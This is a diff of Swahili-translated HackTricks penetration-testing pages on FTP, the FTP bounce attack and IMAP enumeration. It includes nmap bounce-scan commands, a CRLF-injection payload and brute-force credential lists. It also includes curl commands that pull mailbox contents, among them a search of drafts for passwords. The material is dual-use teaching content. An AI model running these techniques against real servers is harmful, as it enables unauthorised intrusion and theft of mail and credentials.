||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -14,7 +14,7 @@
|
|||
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -23,7 +23,7 @@
|
|||
## Taarifa Msingi
|
||||
|
||||
**Itifaki ya Uhamishaji wa Faili (FTP)** hutumika kama itifaki ya kawaida kwa uhamishaji wa faili kwenye mtandao wa kompyuta kati ya seva na mteja.\
|
||||
Ni itifaki ya **maandishi ya wazi** inayotumia **tabia mpya ya mstari `0x0d 0x0a`** kwa hivyo mara nyingine unahitaji **kuunganisha kutumia `telnet`** au **`nc -C`**.
|
||||
Ni itifaki ya **maandishi wazi** inayotumia **tabia mpya ya mstari `0x0d 0x0a`** kwa hivyo mara nyingine unahitaji **kuunganisha kutumia `telnet`** au **`nc -C`**.
|
||||
|
||||
**Bandari ya Chaguo:** 21
|
||||
```
|
||||
|
@ -32,19 +32,19 @@ PORT STATE SERVICE
|
|||
```
|
||||
### Uunganisho wa Moja kwa Moja na wa Kupitisha
|
||||
|
||||
Katika **FTP ya Moja kwa Moja**, mteja wa FTP kwanza **ananzisha** uunganisho wa kudhibiti kutoka kwa bandari yake N kwenda kwa bandari ya amri ya Seva ya FTP - bandari 21. Mteja kisha **anasikiliza** kwenye bandari **N+1** na kutuma bandari N+1 kwa Seva ya FTP. Seva ya FTP kisha **inaanzisha** uunganisho wa data, kutoka kwa bandari yake M kwenda kwa bandari ya N+1 ya Mteja wa FTP.
|
||||
Katika **FTP ya Moja kwa Moja**, **mteja wa FTP** kwanza **ananzisha** uhusiano wa **udhibiti** kutoka kwa bandari yake N hadi kwa bandari ya amri ya Seva ya FTP - bandari 21. **Mteja** kisha **anasikiliza** kwenye bandari **N+1** na kutuma bandari N+1 kwa Seva ya FTP. Seva ya FTP kisha **inaanzisha** uhusiano wa data, kutoka kwa bandari yake M kwenda kwa bandari ya N+1 ya Mteja wa FTP.
|
||||
|
||||
Lakini, ikiwa Mteja wa FTP ana firewall inayodhibiti uunganisho wa data unaokuja kutoka nje, basi FTP ya moja kwa moja inaweza kuwa tatizo. Na, suluhisho linalowezekana kwa hilo ni FTP ya Kupitisha.
|
||||
Lakini, ikiwa Mteja wa FTP ana firewall inayodhibiti uhusiano wa data unaokuja kutoka nje, basi FTP ya moja kwa moja inaweza kuwa tatizo. Na, suluhisho linalowezekana kwa hilo ni FTP ya Kupitisha.
|
||||
|
||||
Katika **FTP ya Kupitisha**, mteja ananzisha uunganisho wa kudhibiti kutoka kwa bandari yake N kwenda kwa bandari 21 ya Seva ya FTP. Baada ya hii, mteja anatoa **amri ya passv**. Seva kisha inatuma mteja nambari moja ya bandari yake M. Na **mteja** **anaanzisha** uunganisho wa data kutoka kwa bandari yake P kwenda kwa bandari ya M ya Seva ya FTP.
|
||||
Katika **FTP ya Kupitisha**, mteja ananzisha uhusiano wa udhibiti kutoka kwa bandari yake N hadi kwa bandari 21 ya Seva ya FTP. Baada ya hii, mteja anatoa **amri ya passv**. Seva kisha inatuma mteja nambari moja ya bandari yake M. Na **mteja** **anaanzisha** uhusiano wa data kutoka kwa bandari yake P kwenda kwa bandari ya M ya Seva ya FTP.
|
||||
|
||||
Chanzo: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
### Uchunguzi wa Uunganisho
|
||||
### Kutatua Mipangilio ya Uunganisho
|
||||
|
||||
Amri za **FTP** **`debug`** na **`trace`** zinaweza kutumika kuona **jinsi mawasiliano yanavyotokea**.
|
||||
|
||||
## Uorodheshaji
|
||||
## Uchambuzi
|
||||
|
||||
### Kukamata Bango
|
||||
```bash
|
||||
|
@ -119,11 +119,11 @@ ftp <IP>
|
|||
```
|
||||
### [Kujaribu nguvu](../../generic-methodologies-and-resources/brute-force.md#ftp)
|
||||
|
||||
Hapa unaweza kupata orodha nzuri ya siri za ftp za msingi: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||
Hapa unaweza kupata orodha nzuri ya siri za msingi za ftp: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||
|
||||
### Kiotomatiki
|
||||
|
||||
Anon login na bounce FTP checks hufanywa kiotomatiki na nmap kwa chaguo la **-sC** au:
|
||||
Kuingia kwa Anon na uchunguzi wa FTP hufanywa kiotomatiki na nmap kwa chaguo la **-sC** au:
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
|
@ -133,7 +133,7 @@ Unaweza kuunganisha kwenye seva ya FTP ukitumia kivinjari (kama Firefox) ukitumi
|
|||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
Tafadhali kumbuka kwamba ikiwa **programu-jalizi ya wavuti** inatuma data inayodhibitiwa na mtumiaji **moja kwa moja kwa seva ya FTP** unaweza kutuma URL encode mara mbili `%0d%0a` (katika URL encode mara mbili hii ni `%250d%250a`) na kufanya **seva ya FTP ifanye vitendo vya kiholela**. Moja ya vitendo vya kiholela vinavyowezekana ni kupakua maudhui kutoka kwa seva inayodhibitiwa na mtumiaji, kufanya uchunguzi wa bandari au jaribu kuwasiliana na huduma zingine zinazotegemea maandishi wazi (kama vile http).
|
||||
Tafadhali kumbuka kwamba ikiwa **programu-jalizi ya wavuti** inatuma data inayodhibitiwa na mtumiaji **moja kwa moja kwa seva ya FTP** unaweza kutuma mara mbili URL encode `%0d%0a` (katika URL encode mara mbili hii ni `%250d%250a`) na kufanya **seva ya FTP ifanye vitendo vya ujanja**. Moja ya vitendo vya ujanja vinavyowezekana ni kupakua maudhui kutoka kwa seva inayodhibitiwa na mtumiaji, kufanya uchunguzi wa bandari au jaribu kuwasiliana na huduma zingine zinazotegemea maandishi wazi (kama http).
|
||||
|
||||
## Pakua faili zote kutoka kwa FTP
|
||||
```bash
|
||||
|
@ -166,15 +166,15 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
|
||||
## Shambulio la FTPBounce
|
||||
|
||||
Baadhi ya seva za FTP huruhusu amri ya PORT. Amri hii inaweza kutumika kuonyesha kwa seva kwamba unataka kuunganisha kwenye seva ya FTP nyingine kwenye bandari fulani. Kisha, unaweza kutumia hii kuscan bandari zipi za mwenyeji ziko wazi kupitia seva ya FTP.
|
||||
Baadhi ya seva za FTP huruhusu amri ya PORT. Amri hii inaweza kutumika kuonyesha kwa seva kwamba unataka kuunganisha kwenye seva nyingine ya FTP kwenye bandari fulani. Kisha, unaweza kutumia hii kuscan bandari zipi za mwenyeji ziko wazi kupitia seva ya FTP.
|
||||
|
||||
[**Jifunze hapa jinsi ya kutumia seva ya FTP kuscan bandari.**](ftp-bounce-attack.md)
|
||||
[**Jifunze hapa jinsi ya kutumia vibaya seva ya FTP kuscan bandari.**](ftp-bounce-attack.md)
|
||||
|
||||
Unaweza pia kutumia tabia hii kufanya seva ya FTP iingiliane na itifaki nyingine. Unaweza **kupakia faili inayohusisha ombi la HTTP** na kufanya seva ya FTP inayoweza kudhurika **ikutume kwa seva ya HTTP isiyojulikana** (_labda kuongeza mtumiaji mpya wa msimamizi?_) au hata kupakia ombi la FTP na kufanya seva ya FTP inayoweza kudhurika **ipakue faili kwa seva ya FTP tofauti**.\
|
||||
Unaweza pia kutumia tabia hii kufanya seva ya FTP iingiliane na itifaki nyingine. Unaweza **kupakia faili inayohusisha ombi la HTTP** na kufanya seva ya FTP inayoweza kudhurika **ikutume kwa seva ya HTTP isiyojulikana** (_labda kuongeza mtumiaji mpya wa msimamizi?_) au hata kupakia ombi la FTP na kufanya seva ya FTP inayoweza kudhurika ipakue faili kwa seva ya FTP tofauti.\
|
||||
Teoria ni rahisi:
|
||||
|
||||
1. **Pakia ombi (ndani ya faili ya maandishi) kwenye seva inayoweza kudhurika.** Kumbuka kwamba ikiwa unataka kuzungumza na seva nyingine ya HTTP au FTP unahitaji kubadilisha mistari na `0x0d 0x0a`
|
||||
2. **Tumia `REST X` kuepuka kutuma herufi ambazo huzitaki kutuma** (labda kupakia ombi ndani ya faili unahitaji kuweka kichwa cha picha mwanzoni)
|
||||
2. **Tumia `REST X` kuepuka kutuma herufi ambazo huzitaki kutuma** (labda kupakia ombi ndani ya faili ulihitaji kuweka kichwa cha picha mwanzoni)
|
||||
3. **Tumia `PORT` kuunganisha kwenye seva na huduma isiyojulikana**
|
||||
4. **Tumia `RETR` kutuma ombi lililohifadhiwa kwenye seva.**
|
||||
|
||||
|
@ -186,16 +186,16 @@ Inawezekana sana kwamba hii **itatoa kosa kama** _**Socket isiyoweza kuandikwa**
|
|||
posts.txt
|
||||
{% endfile %}
|
||||
|
||||
* Jaribu **kujaza ombi na data "taka" inayohusiana na itifaki** (ukiwasiliana na FTP labda amri za taka au kurudia maagizo ya `RETR` kupata faili)
|
||||
* Jaribu **kujaza ombi na data "taka" inayohusiana na itifaki** (ukiwasiliana na FTP labda amri za taka au kurudia maagizo ya `RETR` kuchukua faili)
|
||||
* Tu **jaza ombi na herufi za null au nyingine nyingi** (zilizogawanywa kwenye mistari au la)
|
||||
|
||||
Kwa njia yoyote, hapa kuna [mfano wa zamani kuhusu jinsi ya kutumia hii kufanya seva ya FTP ipakue faili kutoka kwa seva ya FTP tofauti.](ftp-bounce-download-2oftp-file.md)
|
||||
Kwa namna yoyote, hapa kuna [mfano wa zamani kuhusu jinsi ya kutumia hii kufanya seva ya FTP ipakue faili kutoka kwa seva ya FTP tofauti.](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Udhaifu wa Seva ya Filezilla
|
||||
|
||||
**FileZilla** kawaida **inabana** kwa **lokalini** huduma ya **utawala** kwa **Seva ya FileZilla** (bandari 14147). Ikiwa unaweza kuunda **tuneli** kutoka **kwenye mashine yako** kufikia bandari hii, unaweza **kuunganisha** kwayo ukitumia **nenosiri tupu** na **kuunda** mtumiaji **mwingine** kwa huduma ya FTP.
|
||||
**FileZilla** kawaida **inabana** kwa **lokalini** huduma ya **utawala** kwa **FileZilla-Server** (bandari 14147). Ikiwa unaweza kuunda **tuneli** kutoka **kwenye mashine yako** kufikia bandari hii, unaweza **kuunganisha** kwayo kwa kutumia **nenosiri tupu** na **kuunda** mtumiaji **mwingine** kwa huduma ya FTP.
|
||||
|
||||
## Faili za Mipangilio
|
||||
## Faili za Usanidi
|
||||
```
|
||||
ftpusers
|
||||
ftp.conf
|
||||
|
@ -211,9 +211,9 @@ Mipangilio ya msingi ya vsFTPd inaweza kupatikana katika `/etc/vsftpd.conf`. Hap
|
|||
- `anon_mkdir_write_enable=YES`
|
||||
- `anon_root=/home/username/ftp` - Daktari kwa wageni.
|
||||
- `chown_uploads=YES` - Badilisha umiliki wa faili zilizopakiwa kwa siri
|
||||
- `chown_username=username` - Mtumiaji ambaye anapewa umiliki wa faili zilizopakiwa kwa siri
|
||||
- `chown_username=username` - Mtumiaji ambaye amepewa umiliki wa faili zilizopakiwa kwa siri
|
||||
- `local_enable=YES` - Wezesha watumiaji wa ndani kuingia
|
||||
- `no_anon_password=YES` - Usiulize siri kwa wageni
|
||||
- `no_anon_password=YES` - Usiulize nywila kwa wageni
|
||||
- `write_enable=YES` - Ruhusu amri: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, na SITE
|
||||
|
||||
### Shodan
|
||||
|
@ -223,9 +223,9 @@ Mipangilio ya msingi ya vsFTPd inaweza kupatikana katika `/etc/vsftpd.conf`. Hap
|
|||
|
||||
***
|
||||
|
||||
**Kikundi cha Usalama cha Kujitahidi Sana**
|
||||
**Kikundi cha Usalama cha Kujitahidi Kufanya Kazi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -1,20 +1,20 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,19 +24,19 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
## Kwa Mkono
|
||||
|
||||
1. Unganisha kwenye FTP inayoweza kudhuriwa
|
||||
2. Tumia **`PORT`**au **`EPRT`**(lakini moja tu kati yao) ili kuanzisha uhusiano na _\<IP:Port>_ unayotaka kuchunguza:
|
||||
1. Unganisha kwenye FTP inayoweza kudukuliwa
|
||||
2. Tumia **`PORT`** au **`EPRT`** (lakini chagua moja tu) ili kuwezesha uhusiano na _\<IP:Port>_ unayotaka kuchunguza:
|
||||
|
||||
`PORT 172,32,80,80,0,8080`\
|
||||
`EPRT |2|172.32.80.80|8080|`
|
||||
3. Tumia **`LIST`**(hii itatuma tu kwa _\<IP:Port>_ iliyounganishwa orodha ya faili za sasa kwenye folda ya FTP) na angalia majibu yanayowezekana: `150 File status okay` (Hii inamaanisha bandari iko wazi) au `425 No connection established` (Hii inamaanisha bandari imefungwa)
|
||||
1. Badala ya `LIST` unaweza pia kutumia **`RETR /faili/katika/ftp`** na kutafuta majibu yanayofanana ya `Fungua/Funga`.
|
||||
3. Tumia **`LIST`** (hii itatuma tu kwa _\<IP:Port>_ iliyounganishwa orodha ya faili za sasa kwenye folda ya FTP) na angalia majibu yanayowezekana: `150 File status okay` (Hii inamaanisha bandari iko wazi) au `425 No connection established` (Hii inamaanisha bandari imefungwa)
|
||||
1. Badala ya `LIST` unaweza pia kutumia **`RETR /file/in/ftp`** na kutafuta majibu yanayofanana ya `Fungua/Funga`.
|
||||
|
||||
Mfano wa Kutumia **PORT** (bandari 8080 ya 172.32.80.80 iko wazi na bandari 7777 imefungwa):
|
||||
|
||||
![](<../../.gitbook/assets/image (225).png>)
|
||||
|
||||
Mfano sawa ukitumia **`EPRT`**(uthibitisho umeachwa katika picha):
|
||||
Mfano sawa ukitumia **`EPRT`** (uthibitisho umeachwa katika picha):
|
||||
|
||||
![](<../../.gitbook/assets/image (226).png>)
|
||||
|
||||
|
@ -52,7 +52,7 @@ nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the interna
|
|||
```
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
@ -16,7 +16,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -28,13 +28,13 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
Kwa chaguo-msingi, itifaki ya IMAP hufanya kazi kwenye bandari mbili:
|
||||
|
||||
* **Bandari 143** - hii ni bandari isiyo na usimbaji wa IMAP ya chaguo-msingi
|
||||
* **Bandari 143** - hii ni bandari isiyo salama ya IMAP ya chaguo-msingi
|
||||
* **Bandari 993** - hii ndio bandari unayohitaji kutumia ikiwa unataka kuunganisha kwa kutumia IMAP kwa usalama
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
143/tcp open imap syn-ack
|
||||
```
|
||||
## Kunasa bendera
|
||||
## Kunasa Bango
|
||||
```bash
|
||||
nc -nv <IP> 143
|
||||
openssl s_client -connect <IP>:993 -quiet
|
||||
|
@ -50,11 +50,11 @@ root@kali: telnet example.com 143
|
|||
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
|
||||
+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
|
||||
```
|
||||
Au **automatize** hii na **nmap** programu-jalizi `imap-ntlm-info.nse`
|
||||
Au **automatize** hii na **nmap** plugin `imap-ntlm-info.nse`
|
||||
|
||||
### [IMAP Kuvunja Nenosiri](../generic-methodologies-and-resources/brute-force.md#imap)
|
||||
### [IMAP Bruteforce](../generic-methodologies-and-resources/brute-force.md#imap)
|
||||
|
||||
## Muundo
|
||||
## Sintaksia
|
||||
|
||||
Mifano ya Amri za IMAP kutoka [hapa](https://donsutherland.org/crib/imap):
|
||||
```
|
||||
|
@ -117,7 +117,7 @@ Uvumbuzi wa msingi unawezekana na [CURL](https://ec.haxx.se/usingcurl/usingcurl-
|
|||
```bash
|
||||
curl -k 'imaps://1.2.3.4/' --user user:pass
|
||||
```
|
||||
2. Kupanga ujumbe katika sanduku la barua (amri ya imap `SELECT INBOX` kisha `SEARCH ALL`)
|
||||
2. Kupanga ujumbe kwenye sanduku la barua (amri ya imap `SELECT INBOX` na kisha `SEARCH ALL`)
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
|
||||
```
|
||||
|
@ -127,15 +127,13 @@ Pia niwezekano wa kutoa vigezo vya utafutaji vya kina zaidi. k.m. kutafuta rasim
|
|||
```bash
|
||||
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
||||
```
|
||||
Maelezo mazuri ya maneno ya kutafuta yanapatikana [hapa](https://www.atmail.com/blog/imap-commands/).
|
||||
|
||||
3. Kupakua ujumbe (amri ya imap `SELECT Drafts` kisha `FETCH 1 BODY[]`)
|
||||
3. Kupakua ujumbe (amri ya imap `SELECT Drafts` na kisha `FETCH 1 BODY[]`)
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
||||
```
|
||||
Mail index itakuwa index ile ile itakayorudishwa kutoka kwa operesheni ya utafutaji.
|
||||
|
||||
Pia niwezekana kutumia `UID` (kitambulisho cha kipekee) kufikia ujumbe, hata hivyo ni chaguo duni kwani amri ya utafutaji inahitaji kuandaliwa kwa mkono. K.m.
|
||||
Pia niwezekano kutumia `UID` (kitambulisho cha kipekee) kufikia ujumbe, hata hivyo ni chaguo duni kwani amri ya utafutaji inahitaji kuandaliwa kwa mkono. K.m.
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
|
||||
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
||||
|
@ -158,7 +156,7 @@ done
|
|||
|
||||
**Kikundi cha Usalama wa Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -200,7 +198,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,24 +26,24 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
Kutoka [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||
|
||||
